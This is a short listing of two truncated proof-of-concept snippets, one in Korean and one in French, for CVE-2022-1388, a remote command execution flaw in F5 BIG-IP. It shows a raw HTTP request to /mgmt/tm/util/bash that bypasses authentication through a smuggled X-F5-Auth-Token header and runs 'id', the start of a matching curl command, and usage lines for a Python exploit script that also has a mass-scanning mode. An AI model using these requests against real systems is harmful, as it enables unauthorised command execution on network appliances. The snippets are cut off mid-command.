CVE-2022-1388_PoC

F5 BIG-IP RCE 익스플로잇 CVE-2022-1388 POST 1: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " curl 명령줄: $ curl -i -s -k -X $'POST' \ -H $'Host: :8443' \ -H...

CVE-2022-1388

CVE-2022-1388 Vérification et exploitation pour CVE-2022-1388 Installation : python3 -m pip install -r requirements.txt Utilisation Simple : python3 cve.py s fullurl apicommand example python3 cve.py s http://127.0.0.1:8000/mgmt/tm/util/bash '"command":"run","utilCmdArgs":"-c id"' En masse :...